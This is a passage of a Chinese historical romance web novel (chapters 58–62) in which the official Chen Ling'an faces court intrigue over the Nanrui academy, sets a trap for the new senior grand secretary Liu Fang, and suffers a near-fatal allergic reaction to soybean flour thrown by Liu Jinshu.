见他没搭话,小满又说:“苏州你有没有去过,常听林姨说起苏州的园子,与金陵又有所不同,小巧精雅,移步换景,园内有园景外有景,坐在水榭里听昆曲,吃茶吃点心,想想就惬意。” “对了对了,听说徽州府的黄山景色一绝,我是不怕爬山的,有机会一定要去看看黄山景色到底如何!” 她兴致勃勃说着,陈令安静静听着,眼神愈发温柔。 爹娘最喜欢看游记,一边在书上勾勾画画,一边憧憬地说,等以后孩子们都大了,成家立业了,他们就挨个去这些地方游玩。 他慢慢闭上眼睛,爹娘没有机会了,他还有吗? “把你想去的地方都写下来。”他突然说,没等小满反应过来,霍地翻身坐起,拉着小满走到书桌前,“你说,我写!” 小满觑着他的脸小声嘀咕:“我一个人可不去。” 陈令安笑了,“你自己去我还不放心呢!” 小满眼睛一亮,“你陪我去?一定得是你陪我,母亲爬不动山,砚宁忙着做功课,何平天天琢磨怎么给皇上下套儿娶公主,根本没空搭理我。我现在,除了你没别人了。” 说到最后一句话时,她的脸上飞起两朵彩霞,声音也低了下去。 陈令安写下她刚才说的几个地方,轻轻道:“我明白……” 小满抿着嘴笑了,接着一样一样数,“让我想想还有什么,慈溪的杨梅,福建的荔枝,杭州的枇杷,黄岩的蜜桔,云南的芒果,无锡水蜜桃,天津大冬枣!” 全是吃的!陈令安失笑,“还有吗?” “有!苏州松鼠鳜鱼,扬州蟹粉狮子头,西安羊肉泡馍,山西刀削面,还有粉蒸肉,麻婆豆腐,手抓羊肉……我要吃当地最正宗的!” “好。”陈令安刷刷几笔写完,小心吹干后递给她,“收好了,完成一项就画个勾。” 小满看着单子说:“以后我想起别的来,还能再加不?” “当然可以。” 小满这才满意地点点头。 “大人!”咚咚的脚步声伴着吴勇的声音从雨幕那边传过来,“皇上找你,快换上官服进宫。” 小满的心没由来一沉,下意识抓住陈令安的手。 陈令安:“不打紧,皇上不会发落我。” “发落?”吴勇一脸莫名其妙,“朝臣们廷推刘方为新首辅,皇上召大人进宫应该是问刘方的事,吕总管没说要发落大人呀。” 陈令安朝小满一笑,“听到了?还不快放开我。” 小满不好意思地笑笑,松开手,可到底不放心,追出去喊:“别忘了咱们约定好一起做的事!” 陈令安挥挥手,没回头。 吴勇瞧瞧他,又瞧瞧小满,脑子飞快旋转。 啥事,还需要两人一起干?哎呀,莫非大人好事将近? 他瞧着陈令安那张万年不变冷硬的脸,不由在心里暗暗感慨,春天来了,万物复苏,又到了动物……啊不,大人终于开窍了! 第59章 一踏进宫门, 陈令安就感受到人们各式的目光,太监们压着嗓子指指戳戳,官吏们在背后窃窃私语, 却不敢与他目光对视。 尤其路过文渊阁时,有御史竟对他背后啐道:“呸,奸贼!” 陈令安无奈地叹口气, 慢慢转身, “我当奸贼不是一天两天了,你现在才开骂,是不是有点晚了?” 那御史没料到他直接怼了回来,脸上一红,却不肯示弱, “陈阁老还未定罪, 你就逼死了他, 你为非作歹, 公报私仇,国法岂能容你!” 陈令安眼角余光瞥见路过的某人, 忽笑了, “这位言官,你为前首辅抱不平, 可考虑过新任首辅的心情?” 那御史看到路过的刘方,表情顿时一僵,想说几句挽回下又不知道说什么好, 只能眼睁睁看着刘方徐徐渐远。 陈令安凉飕飕笑了声,蠢货,如果几句话就能刺激到他,他怎么可能走到今天? “陈大人请留步!”李麟喘吁吁跑来, “可否借一步说话。” 陈令安微微挑眉,他们并无交情,倒是听说他和刘瑾书来往密切,能跟自己有什么话? 见他原地站着上下打量自己,李麟不由苦笑道:“陈大人不记得我了?小时候我曾随父亲拜访过令尊,我父亲应令尊邀请,还在南翠书院讲过一个月的课。” 陈令安表情还是淡淡的,“忘记了。” 李麟语气微滞,但马上调整过来,“得空去南翠书院看看吧,怎么说那也是令尊的心血。” “你来就为和我说这事?” “嗯……只是提醒大人一句,去不去还得看大人的意思。”说完,他一拱手算作道别。 陈令安盯着李麟的背影不言声,好端端提起南翠书院,他什么意思? 半路上这一耽误,到文华殿时就有些晚了。 殿内,弘德帝正和刘方说话,陈令安默默行礼,又默默立在一旁。 刘方看他一眼,继续道:“……牛李党争,官员的升迁贬谪,不看才能和政绩,而取决于其党派归属。党争胜出者一上台便大肆清洗对方党羽,安插自己亲信。从而朝令夕改,皇权被削弱,甚至被裹挟,进而加速唐朝的灭亡。” “微臣以为,破除党争,皇上是关键。比如这次陈绍之案,尽可能减少连坐的官员,当以安抚朝臣为先,不好办成大案重案。让所有官员都明白,他们头上只有一片天,那就是皇上!” 他双手呈上一份条陈,“微臣想说的话,全在里面了。” 弘德帝示意吕良接过来,“下去吧,过几天给你旨意。” 待刘方退下,弘德帝看向陈令安,“他希望不牵扯陈绍旧党,你怎么看?” 陈令安:“拿着皇上的恩情做他自己的人情,还一副正义凛然大公无私的模样,不愧是能爬上首辅位置的人,够不要脸的。” 弘德帝禁不住笑出了声,却立刻板起面孔,“胡说,竟敢辱骂朝廷重臣,罚你一年俸禄。” 一年俸禄对陈令安来说无关痛痒,只是面上不好看罢了,不过陈令安从来不看面子,只重里子。 他心里明白,皇上罚他,就说明陈绍自尽已然了了,不会再追究他看管不力的过错。 陈令安就坡下驴,跪下谢恩。 弘德帝抬抬手叫他起来,“有段日子没见你了,还以为你要辞官,一心逍遥自在去了。” 陈令安暗暗心惊,立时答道:“臣现在辞官,过不了明天晌午就会横尸街头——恨臣的人太多了,臣还不想死。” 弘德帝道;“朕记得……南翠书院似乎是你家的产业。” 又是南翠书院! 陈令安登时打起十二分精神,斟酌着答道:“算不上产业,书院最早由我父亲筹建,但没有士绅资助的话,根本建不起来,我父亲不过担了个虚名儿罢了。后来我父亲过世,书院便被陈绍接过去了。” “朕看了这科的进士,南翠书院出来的学生占了近三成,了不得啊。”弘德帝长叹一声,语气说不上是惊叹还是惊讶。 陈令安垂下眼帘,静静等着皇上接下来的话。 然而弘德帝没有继续这个话题,转而提起关在诏狱的几个官员,“关了半年多,审明白没有?” 这是叫他放人的意思了。 那几个都是陈绍的门生,看来皇上应是采纳了刘方的建议。 陈令安:“启禀皇上,审明白了,正在整理卷宗,后晌就可以呈递上来。” 弘德帝“嗯”了声,面上露出疲色。 陈令安拜了一拜,悄声退下。 为什么皇上突然问起南翠书院,他都没发落保陈绍的官员,总不会容不下那些没入仕的学生。单单因为书院的学生考中率高,有感而发几句感慨? 不会,在皇上眼中,他从来都不是可以聊天说闲话的人。 皇上在给他某种暗示,并且希望他可以主动提出来。以前也是这样过来的,皇上不方便明说的,不能直接处置的,只消透出几个模糊的字眼,剩下的就是他来办了。 他一次也没有领会错过。 可今天,他怎么猜不透皇上的意思? 他慢慢在柳荫里走着,看着脚下的路,心里突然涌上一种前所未有的茫然和空虚。 呆立半晌,他觉得自己或许该去拜见下林亭先生。 刚走了几步,他猛地想起来,何平也是作为南翠书院的学生参加春闱! 书院的老师再好,也比不上林亭先生,而且何平根本没去几天书院,大部分时间都在吃喝玩乐。 他为什么特地在南翠书院挂名? 陈令安心脏咚咚地跳,一刻没犹豫,立马去蒋家。 何平一直在蒋夫人那里住着! 却扑了个空——今天是小蒋氏的生辰,蒋夫人带着小满何平,去平阳侯府给妹妹庆生去了。 平阳侯府。 因不是整寿,又赶在多事之秋,便只请了至亲好友,没有大肆操办。 秦夫人和弟弟大吵一架后,一度发誓和弟弟弟媳断绝往来,但是母亲不同意,昨儿个还巴巴地派人叫她过来。 看在母亲的面儿上,再加上她现在是首辅夫人,锦衣夜行多没意思,干脆带着儿子来了。 刚来她就后悔了,她怎么忘了那个臭丫头! 儿子的视线时不时就落在臭丫头身上,她一看就气不打一处来。回头瞅见蒋夫人,想给她两句让她管好自己孩子,奈何新科榜眼总陪着蒋夫人,把老祖母和母亲哄得合不拢嘴,喜爱之情溢于言表。 幸亏侯府没闺女,不然今天就能把喜事办了。 再看本家那些亲戚,对蒋夫人也是言笑晏晏,没一个冷眼相待的。 难道她们都忘了,这个蒋氏可是打过和离官司的人!真是世风日下,败坏纲常的女人居然也大受吹捧了。 秦夫人气闷得难受,终于寻得空档和母亲说点私房话,母亲上前却先说:“今天是你弟妹的好日子,牢骚话就省省吧。” 秦夫人一个倒噎气,缓了好一会儿才气呼呼说:“您真是的,有了儿媳忘了闺女,谁要发牢骚,我是想和母亲商量父亲的事。” 侯夫人笑道:“那是我错怪你了,好好,快说吧。” 秦夫人颇为得意地说:“父亲回调京城一拖再拖,不是没空缺就是位子不适合,始终定不下来。如今您女婿做了首辅,这就他一句话的事,您和父亲看上哪个位子,咱们就把哪个位子腾出来给父亲。” 她说完了,满是期待地望着母亲。 可母亲并没有她想象中的激动和兴奋,反而沉默了很久,似有话难以说出口。 “母亲?”秦夫人问,“我说错话了?” “有件事一直没和你说。”侯夫人缓声道,“你父亲打算调去燕北,皇上已经准了,估计这一两天就会明发旨意。” 秦夫人只觉“嗡”的一声头涨得老大,仿佛不认识似的盯着母亲,“燕北?父亲为何去燕北,你们……你们都同意了?祖母也同意?” 侯夫人点点头,“我们都商议过了。” 秦夫人霍地站起身,“为什么不告诉我!为什么不和我商量!你还当我是你女儿吗?好好好,嫁出去的女儿泼出去的水,我是刘家人,没资格管你们秦家的事!” 侯夫人脸色一沉,低声喝道:“放肆,和你娘也耍起首辅夫人的威风来了,我真是把你宠坏了,快四十的人了,还是小孩子脾气。” “宠我的是我丈夫,不是你们。”秦夫人赌气道,“我知道你们怎么想的,迎合上意,北迁都城,怕我反对,怕我丈夫阻止,所以才瞒着我们。” 侯夫人微微叹口气,“你弟弟也去燕北,过完端午就动身。” “这又是什么时候定下的。” “昨天,皇上单独叫他进宫说的,旨意会和你父亲的调令一起下来。” 秦夫人使劲转脑子:“可、可……他身边不能没人服侍,我得给他——” “蒋氏跟着去!”侯夫人断然打断女儿电话,眼神里深深的疲惫,“还有世子的三个儿子,他们全家都去。” 秦夫人惊呆了,这是不打算回来?侯爷,世子……嫡支全去燕北,金陵的平阳侯府还叫平阳侯府么? “母亲安排好族务,也会去的吧,祖母身体还硬朗着,说不定夏天你们就乘船走了。好啊,都走吧,剩下我一人,你们都走吧!” 秦夫人转身就走,本以为母亲会叫住她,结果一声都没有,气得她眼泪都回去了,干脆直接回家。 小蒋氏瞅她面色不善,也没凑过去讨没趣,指了个丫鬟给刘瑾书传话。 刘瑾书接到信儿,匆匆追了出来。 没追上母亲,却在竹林看见了小满。 穿着月白底儿绣红牡丹对襟长褙子,雨过天青百褶裙,脸上笑嘻嘻的,走起路来生气勃勃的样子。 是他们第一次见面时的打扮。 本以为早就不记得了。 刘瑾书不由自主停下脚步,静静等着她走近。 “小满!”有人在竹林那头喊她。 是陈令安。 她立刻向他跑去,欢呼雀跃,开心得不得了。 她明明看见自己了…… 似乎一直以来都是这样的,只要陈令安出现,她的眼里就再没有别人。 刘瑾书无声苦笑,他可真没出息,下定决心忘了她,可一见着她,就忍不住想更靠近她一点。 离去前,他朝小满看了最后一眼。 却和陈令安的视线对上了。 傲慢、炫耀、嘲笑、鄙夷……他在挑衅自己! 刘瑾书大怒,但今天是舅母的生辰,母亲已经失礼了,他不能再搅了人家的寿宴。 他冷冷回瞪一眼,忍气离开。 “你在看什么?”小满顺着陈令安的目光扭头。 “有只癞蛤蟆跑过去了。”陈令安把她脑袋扳回来,“想问何平点事,结果那家伙喝得烂醉如泥,怎么叫都叫不起来。” 小满很是惊讶:“稀奇,他也能喝醉?” 陈令安一怔,眼神暗下来,好一会儿才轻声道:“你有没有空,陪我去南翠书院看看吧。” 第60章 去书院? 今天是姨母的生辰, 宴席还没散就要告辞,怎么也说不过去。 对面的人微微垂着头,眼睛也耷拉着, 显得可怜巴巴的。 小满登时心软了,“我和母亲说一声,你等等我。” “算了。”陈令安突然改了主意, “也没什么好看的, 我还有事,先走了。” 突然地来,突然地走,小满一头雾水,忙揪住他的袖子, “我跟你一起去书院, 不告而别母亲会着急的, 你等我, 很快的。” 她全身心地信任着他,无论他想做什么, 她不问理由, 总是无条件地支持他。 陈令安的眼睛闪着细碎的光芒,就像柔和日光映照下的湖水, 春风拂过,碎金盈盈荡漾。 小满怔怔看着他,一绺碎发从鬓边垂落, 随风悠悠荡荡。 “突发奇想而已。”陈令安拈起那绺头发,轻轻别在她耳后,语气带着他自己都未曾察觉的小意温柔,“难得蒋夫人高兴, 陪她好好松泛一天。” - 南翠书院坐落在清屏山南麓,依山势分为三进,放眼一片青翠,假山凉亭花树清泉,真可谓风声雨声读书声,声声入耳。 然而今天书院静得出奇,除了看门的老者,竟看不到一个人影。 老门子睁着浑浊的眼睛打量陈令安,“你来求学的?去别的书院,这里关门了。” 陈令安暗暗吃惊,“为什么?” 老门子不无遗憾感叹道:“陈阁老倒台,老师们就回家了,没有老师,学生们当然不来了。” “我不明白了,书院是做学问的地方,不干政事,老师们不会牵连进去。最早一任山长犯事的时候,书院也没有关门。” “这……小人也答不上来。”老门子讪讪。 陈令安怔楞了下,自失一笑,他这是怎么了,竟揪着一个看门的老头儿刨根问底。 他没有再问,迈过书院大门的门槛,时隔十年,再次踏上了前往学堂的路。 不过上次是父亲和他,这次是独身一人。 父亲花了很多心思,大到布局构造,小到一花一木,他都事无巨细,尽心竭力建好这座书院。 十年过去,书院没太大的变化。 看来挑剔的陈绍也挑不出书院的毛病。陈令安悲喜莫辨地笑了声,屈膝坐在广玉兰树下。 抬头便见大片大片的玉兰花,素净的白色,却有着格外动人的美,空气里飘逸着清新的香,混着暮风的味道,说不出的舒服。 书院建成之日,父亲种下一棵玉兰,一棵桂花,取“金玉满堂”之意。 他笑个不停:本是洋溢书香的地方,弄个满是铜臭的寓意,太煞风景了! 父亲一本正经说,绝大多数人读书是为了功名,渴望金玉满堂,这是人之常情,但功名乃身外之物,直中取方是正道。我们书院,不仅教书,还要指引学生们走正道。 正道啊…… 陈令安缓缓吐出口气,靠在树干上,望着花,望着五彩斑斓的彩霞,望着半沉的夕阳,脑子空空的,什么也不想。 好像自从陈绍死了,他就一直是这种状态,始终无法集中精神,做任何事都提不起劲来。 夜幕落下,晚风轻拂,一片花瓣悠然飘落,有人伸出手接住了。 “爹?”陈令安看着坐在身旁的人,几乎不相信自己的眼睛。 父亲还是十年前的模样,清俊儒雅,眼睛闪着晶莹的光,满脸都是温和的笑容。 陈令安眼睛模糊了,鼻子嗓子都酸胀得难受,他用力吸吸鼻子,声音低了下去。 “我好累,爹,我真的好累,十年了,我没有休息过一天,我无数次幻想着杀死陈绍,可他真死了,我发现也就那么回事。” “爹,你为什么抗旨,为什么不遵从先帝的意愿?难道科举的公平,学术的公平,比你的命还重要?比我们还重要?” 父亲只是看着他笑。 他当然得不到任何的答案。 “爹还是老样子,一点都没有变,我却已经长大了,我还会逐渐变老,就算我变成弯腰驼背的老爷爷,爹爹还是这个样子吧,我没法……没法想象出爹爹老去的模样。” 陈令安的声音抖得厉害。 父亲伸出手,似是要给他什么东西。 陈令安下意识去接。 一片白色的玉兰花瓣轻轻落在他的掌心。 陈令安吃惊地抬头,父亲不见了,只有躺在手心里的白色花瓣,在月光下闪着幽幽的微光。 他慢慢合拢掌心,头也低下来,像个孩子一样的哭了。 屋后一角,小满躲在暗影中,悄声擦着眼角。 “不过去安慰一下他?”何平轻声道。 小满摇摇头,这个时候还是不要打扰陈令安了,他压抑太久,让他发泄出来比较好。 何平拉着她蹑手蹑脚往回走,却不小心踩翻块石头,咯嚓一声,立刻引起树下人的警觉,“谁?” 在小满的怒视中,何平苦着脸转身,努力呲牙挤出个笑:“小安安,是我呀!” 陈令安顷刻恢复成不咸不淡的模样,“有事问你,过来。” 何平赴死一般走过来,表情悲壮:“问吧。” 陈令安开门见山,没跟他废话,“你到南翠书院干什么?” “当然是来找你呀,我醒酒后小满说你找我——” “你知道我问的不是这个!” 何平挠挠头,“……好吧。” 上次秋闱过后,何平没继续跟林亭先生念书,他选择游学,用了三年的时间,去了大江南北近二十所书院,或求学,或讲读,收获颇丰。 “也看到不少书院的缺点,或者说……”何平犹豫了下,还是说出了口,“隐患。” 小满很惊讶,“隐患?书院能有什么隐患?” 陈令安道:“同年、同窗、师兄弟,拉山头搞宗派。” “此举历朝历代屡见不鲜,但凡当官就避免不了,是明忧,不是隐患。”何平的表情罕见正经起来。 “不同府学、县学等官学,书院由民间筹建,自由讲学成风,这不是坏事。但有些老师,借自由之风倡其邪学,假圣贤之道行其邪术,竟隐隐有自成一教对抗孔孟的势头,偏偏追随者还不少。” 小满愕然,“真的假的,读书人又不是傻子,怎么会听信邪说!” “书生最好骗,尤其是关在书院只知道读书的人。”陈令安嗤笑一声,“天真,愚蠢,盲目自信,容易被煽动,给点甜头就跟着跑。” 何平瞪大眼睛,“小安安,你不能这样说,人从书里乖,读书怎么也比不读书强。” 陈令安冷笑,“你在南翠书院也发现有人讲邪学了?” “那没有,天子脚下,又是重臣做山长,这方面的管理监督还是很到位的。” 既然没问题,书院怎如此冷清寂寥? 陈令安忽道:“林亭先生是否了解书院的隐患?” 何平点头,“知道,游学过程中我一直和老师有书信往来,哦,老师还写了密奏,然后就被叫到京城了,让他主持编纂经学注释,以后就作为官学的指定书目。” 陈令安敏锐捕捉到一个字眼,“官学,只有官学?明明书院才存在隐患。” 话刚出口,他呼吸便是一窒,隐患,朋党,书院…… 一道极亮的白光从脑海中闪过,将他所有的疑点全串起来了。 皇上要封书院,南翠书院便是第一个要打掉的出头鸟! 林亭先生绝对不可能提出这个建议,谁进谏的,刘方?必定是他说动了皇上,杜绝邪说,抑制朋党,加强皇权,多好的理由。 此举必定会引起官场和民间异议,借此机会,刘方还不知道会打压多少异己,又会安插多少的亲信。 皇上难道看不出刘方的用意? 亦或这就是皇上的用意?可扶植刘方一支独大又有什么好处? 陈令安揉揉眉心,刚整理好的思路,又变成乱糟糟一团。 但有一点他很清楚:皇上要他封禁南翠书院。 有错的是传播邪说的人,书院没有错,封禁书院,对这里的学生老师公平吗,对这座书院,公平吗? 有人抓住了他的胳膊,陈令安低头,碰到小满担忧的目光。 “没事。”他艰难地笑了笑,“我现在……有点体会到父亲的心情了。” 掌心,那片花瓣烫得灼手。 没人能给他解惑,陈令安揣着心事,一夜未眠。 这一夜同样有人睡不着觉,刘瑾书。 张安懿给他的,关于小满的小册子被他翻了出来,今天被陈令安气着了,顾不得“非礼勿视”,想拿几件事下次怼死陈令安。 小册子记的全是小满在张家的生活琐事,不是围着蒋夫人,就是围着陈令安,连做什么吃食用什么材料都有写。 他看了一宿,直到东方天空泛起鱼肚白,才缓缓合上小册子。 镜中的他,眼神沉沉。 - 这天天气很好,吴勇瞧着上峰脸上难得的晴天,美滋滋问:“大人,今天有什么好事?” “的确有件好事。”陈令安瞅他一眼,皮笑肉不笑,“刘方私交藩王,咱们去拿下他。” 大人怎么老跟首辅过不去呀!吴勇惊出一身冷汗,“他圣眷正浓,恐怕不太好办。” “北镇抚司办的从来都是不好办的事。”陈令安冷冷道,“端午藩王献贡,宁王世子进京,你仔细盯着刘方。” 吴勇觉得他们不大可能见面,“刘方为官一向谨慎,不会明知故犯。” 陈令安眼神倏地变得寒凛凛的,“他谨慎,身边的人不一定谨慎。” 朝臣与藩王私交是大忌,只要将刘方拿个现行,定会引起皇上对刘方的猜忌。那么他所提出的建议,皇上就不见得会应允了。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 60-65 第61章 其时已近端午, 这是入夏大节,寺院道观纷纷给施主香客们打表升疏,老百姓挂艾草做香包, 包粽子浸雄黄,忙得团团转。 送节礼走关系的也不在少数,尤其是高官之家。 新晋首辅的大学士府刘家, 但见穿堂、过道、廊下, 都是人们送来的节礼,应景儿的粽子自不必说,什么冰片麝香、名茶佳酿,还有玉如意金佛像,插屏镌刻……看得人眼花缭乱的。 一天会客下来, 秦夫人不见疲惫, 反而愈发的神采奕奕, 整个人从里到外透着一股子无处可泄的亢奋。 还是做首辅夫人好哇, 次辅与首辅,一字之差, 却相差千里。 秦夫人惬意地靠在凉榻上, 欣赏着手里长长的礼单,脸上的笑意原来越浓。 不受娘家重视又怎么样, 我现在是首辅夫人,自有别人上赶着巴结。 忽然她目光一顿,渐渐坐直了身子。 “宁王府?”她指着礼单一处, 十分诧异,“王府谁人来的,我怎么没见着?” 管事妈妈答道:“来的是个管事,他说不方便多打扰, 放下东西就走了。” 秦夫人盯着礼单犯了难。 皇上一向忌讳朝臣与藩王联系过密,这礼物要不要收? 端午节到了,各地藩王的皇纲陆陆续续也到了,宁王世子护送皇纲进京,顺道和新上任的首辅打声招呼,也是人之常情,算不得联系过密吧。 那宁王是皇上一母同胞的兄弟,当年还大力支持皇上登基来着,和皇上关系好着呢。 自家老爷刚上任,就给亲王甩脸子,似乎不大合适。 再瞧那些礼品,不过蜜桃杨梅等时鲜水果,唯有燕窝和雪耳两样还算过得去,却也不值什么钱,退回去倒显得小家子气。 秦夫人便吩咐管事准备六样差不多的回礼,送到宁王世子下榻的地方。 - 收到回礼时,宁王世子非常惊诧,“真是刘家送过来的?” 老长随道:“老奴也奇怪着,反反复复看了好几遍,的确是刘家的名帖,不过不是刘阁老,是他的夫人送的。” 宁王世子很是纳闷,“我和他们并无交情,平白无故献殷勤,这事古怪。” 老长随却道:“送的都是寻常之物,可不是献殷勤,老奴想……废帝曾明令削藩,后来皇上用反对削藩的名义起兵,但此一时彼一时,难说皇上没有削藩之心。新官上任三把火,那刘阁老说不定就是来试探口风的。” 宁王世子沉吟着说:“来时父王也叫我好好看看京中的情形,我正愁没机会,他倒送上门来了。既如此,咱们就会一会这位首辅大人。” “下帖子,用……”他打了个顿儿,带着几分懊恼道,“这次没带女眷,还真不知道拿谁的名义下帖子。” 老长随笑道:“随便写个就成,你要见的是刘阁老又不是他夫人,同理,想见你的也是刘阁老,帖子一到,双方都心知肚明。” 宁王世子也笑了,刷刷几笔写好请帖。 很快,请帖送到了秦夫人手里。 “邀我一聚?”秦夫人第一反应就是拒绝,但看到请帖上言真而意切的恭谨之语,心底的得意再也压不住了。 她决定赴约。 “要不要问一问老爷?事关王府,还是谨慎些好。”管事妈妈掂掇着说,“那天去送回礼,我家那小子打听了,宁王世子没带女眷进京,帖子上这位‘胡选侍’到底是谁。” 秦夫人一听这话就不高兴了,“我见谁还用你批准?你是主子我是主子?” 管事妈妈知道触她霉头了,心里暗暗叫苦,嘴上连说知错、不敢的话。 秦夫人不肯放过她,冷哼一声说:“你们这些‘经年老仆’,仗着伺候过老太爷、老太太,个个架子比主子还大。” “我刚进门的时候,你们就暗地里笑我是武将之女,秦家底蕴薄,比不上你们百年世家,配不上你家芝兰玉树的公子,明里暗里没少给我下绊子。如今老太太老太爷都没多少年了,我儿子都要成婚了,你们居然还敢拿大!” 这话太重了,管事妈妈吓得满脸煞白,忙跪下磕头。 秦夫人眼角斜瞥着她,“我是武将之女,可我是开国功勋之女,我不仅是你刘家的当家太太,还是皇亲国戚,当今的表侄女!宁王是我表叔,宁王世子是我表弟,别说世子侍妾给我请安,就是我和宁王世子见面,也没人能说个‘不’字!” 管事妈妈哪里敢出声,只低着头不停说老奴错了。 秦夫人叫她滚出去。 最有体面的老妈妈都灰头土脸得了一顿好骂,其余人纵有觉得不妥的,也不敢言语了。 后晌,秦夫人拿着请帖出门了。 那管事妈妈犹豫许久,还是不放心,让自家小子给老爷送信儿,反复叮嘱:“一定见到老爷,当面告诉他。” “你老都挨一顿骂了,再管太太的闲事,还不得打发出府?”那小子不愿管,耐不住老母亲连骂带求,只得不情不愿去找刘阁老。 一直盯着刘家动静的吴勇见状,暗叹一声:我天,全叫大人预料到了! 他身形一闪,继续下一步行动。 小半个时辰后,那小子的身影出现在宫门前。 守门的侍卫听了他的来意,叫他在外头等着。 过了会儿,出来个小宦官,对那小子说:“刘阁老在御前议事,不得空,你有什么事和我说罢。” 那小子喃喃,不知如何开口,但见宦官面上越发不耐,一着急,便说:“我家夫人得了急症,请公公务必转告我家老爷,让他速速回家。” 小宦官哼哼一声,算是知道了。 其实刘方根本没伴驾,正在文渊阁忙着,冷不丁一个小宦官满脸急色闯进来,“阁老,您家里来人,尊夫人突发急病,现在人在宁熙园,请阁老速速过去。” 刘方大惊失色,扔下笔就要走,刚迈过门槛,却转身道:“把来人叫进来回话。” 小宦官道:“阁老别难为我,这是文渊阁,不是别家下人可以进来的地方,要进来也行,且容我请示吕总管。” 小宦官第一句话出口时,刘方就意识到自己孟浪了,因道:“我一时着急,分寸大乱,竟不知道自己胡乱说了什么。” 说着,随手摘下手上的金戒指扔给小宦官——这些腌臜玩意儿嘴巴实在厉害,不得不防。 果然,小宦官脸上笑开了花,“阁老说的哪里话,我可担当不起。” 刘方脚步匆匆来到宫门。 那小子还在等着。 刘方问:“太太犯了什么急病,现在情况如何,怎么想起去宁熙园了?” 那小子瞅瞅四周的侍卫,不敢把话挑明说,因答道:“小的没跟太太去,不知道什么情况,太太今早接了个请帖,说是娘家表弟,约她在宁熙园见面。” 接着替自己老母亲抱屈,“太太非要去,我娘劝她不要去,还挨了好一顿数落,差点被赶出府。” 这话刘方听得不舒服,且这小子一口一个“娘家表弟”,他误以为是下人们传太太的闲话,脸色当即一沉。 “太太去哪里还需要请示你娘?主子不听,你们还敢在背后埋怨,太太敬你们,倒敬出一堆祖宗来。” 得嘞,又碰一鼻子灰,那小子低头撇嘴,不说话了。 刘方冷着脸坐上轿子,“去宁熙园。” 轿子走远了,那小子愣了会儿,忽然醒过神:他分明说的回家,老爷怎么去宁熙园了?不对呀,他请人传话的时候可从来没说过宁熙园三个字! 冷汗顺着脑门子就往下流,现在去追肯定来不及,他娘又交代过不能把事情闹大,急得这小子差点厥过去。 发急间,他想到了自家公子,翰林院在午门外,他跟头咕噜就跑过去了。 然而不巧,刘瑾书在宫里伴驾呢! 又是求爷爷告奶奶,好容易才等到刘瑾书出来。 那小子再也不敢模棱两可说话了,不顾外人在场,低声把事情一说,白着嘴唇道:“不知道怎么回事就把话传岔了,公子,老爷不会有事吧?” 有事,定会有事,宁王世子给自家送节礼,本身就不可能,明摆着是陷阱! 谁设下的,他想干什么? 刘瑾书拼命抑制狂跳不已的心,仔细想了又想,有能力买通宫人,有胆子冒充宁王府下人,又和自家多少有点恩怨的人,只有一个,陈令安! 可他想不通,和陈令安有仇的是陈绍,刘家没害过他家,也和陈绍撇清了关系,他为什么盯上了父亲? 因为自己对小满念念不忘? 太牵强了,陈令安虽然小肚鸡肠,却不至于因此陷害父亲,就算他心里别扭,也应该冲着自己来才对。 刘瑾书重重吐出口浊气,现在来不及琢磨陈令安这样做的理由,要紧的是救出父亲。 他也不乘轿,命人把马牵来,吩咐那小子,“你立刻去买两斤黄豆面,速速送到宁熙园,我在那里等你,越快越好。” 说完飞身上马,双腿一夹,那马箭似地射出去,消失在灿灿的阳光中。 宁熙园。 刘方刚进门,便有掌柜模样打扮的人焦急上前,“敢问是刘阁老?尊夫人服了药,刚好些了,正在二楼歇着,小人领阁老上去。” 刘方惦念爱妻,不疑有他,蹬蹬上了楼。 二楼雅间,陈令安嘴角浮上一丝嘲弄。 “大人,要不要……”吴勇做了个抓捕的收拾。 “再等等。”陈令安盯着隔壁的墙,“我以为刘方会立刻出来,没想到居然坐下了,有意思。” 吴勇会意,静静伏在墙上听着。 可惜这酒楼墙壁太厚,啥也听不清。 陈令安皱皱眉头,不等了,起身向外走去。 吴勇立刻抢先打开房门,低低喝道:“行动!” 不料面前人影一晃,一包什么东西扔过来,吴勇抽刀横劈过去,噗一声纸包爆开,黄色粉尘漫天飞舞,霎时笼罩住他二人。 “呸呸!”吴勇摸一把脸,咂摸咂摸嘴,“啥东西,甜滋滋的,诶,黄豆面?” 身后传来粗重的喘息声,好像脖子被掐住的人,用尽浑身的力气,拼命吸进最后一口空气。 吴勇回头去看,惊得脸色蜡黄,“大人,你怎么了!” 陈令安指着隔壁的门,喉咙发出可怕的吸气声,涨红着脸,身子一点一点倒下去。 隔壁门依旧关着,这种规模的酒楼,雅间都有暗门,方便紧急情况时逃跑,这也是宁王世子选这里的原因。 吴勇顾不得抓捕了,紧紧抱住陈令安,声音都带上了哭腔,“来人,来人,快救人!” 第62章 吴勇慌乱不知所措时, 蓦地听到有人大吼一声,“把他抬到通风的地方!” 抬头一看,是小满姑娘! 来不及问她为什么出现在这里, 吴勇一把抱起陈令安,咚咚几步跑到堂外,然后可怜巴巴看着小满。 小满从跑堂的手里拿过温水, 湿巾子, 迅速把他的脸洗干净,帮他催吐。 陈令安干呕几声,什么都吐不出来。 小满又忙给他喂水漱口。 陈令安还是拉风箱似地喘息着,小满端着碗继续喂水,一碗接一碗的。 看似很镇定, 可吴勇看到她的手抖得厉害, 水从碗里溅出来, 把大人的衣领她的袖口全打湿了, 脸色比大人也强不到哪里去。 许是喝水喝得太多,陈令安终于吐了出来, 接着是不停地咳嗽。 郎中还没到, 他们只能等。 他脸上的潮红终于褪下去一些了,呼吸声也不像先前那般可怕。 有好转了!吴勇双腿一软, 瘫软在地,此时才惊觉前胸后背凉飕飕的,中衣外袍竟全被冷汗湿透了。 “多亏了小满姑娘。”他吁口气, “这是什么急病,吓死人了。” “他、他不能碰……”小满抽抽搭搭说了半句,忽扑到陈令安身上,“哇”一声放声大哭。 所有的恐惧惊忧统统在这一瞬间释放了。 陈令安想安慰她两句, 张张嘴,嗓子根本发不出声音。 吴勇恨恨道:“方才的王八蛋是谁,去查,快去查,奶奶的,老子非把他蛋黄捏出来!” “是刘瑾书。”小满哑着嗓子说,“我看到了,我看到了,就是他!可是他怎么知道的,谁告诉他的。” 说着说着,小满突然站起来,不顾一切跳上马,马鞭一抽,那马泼风般消失在林荫深处。 吴勇惊愕地张大嘴,“这丫头会骑马!什么时候学的?” “追……追回来。”陈令安艰难地指着小满离去的方向,喘得厉害,咳得厉害,简直是从嗓子里往外一个字一个字地挤。 吴勇猛地明白过来,小满准是找刘瑾书算账去了! 他抬腿要走,可看看尚未脱离危险的陈令安,又犹豫了。 “快去!” 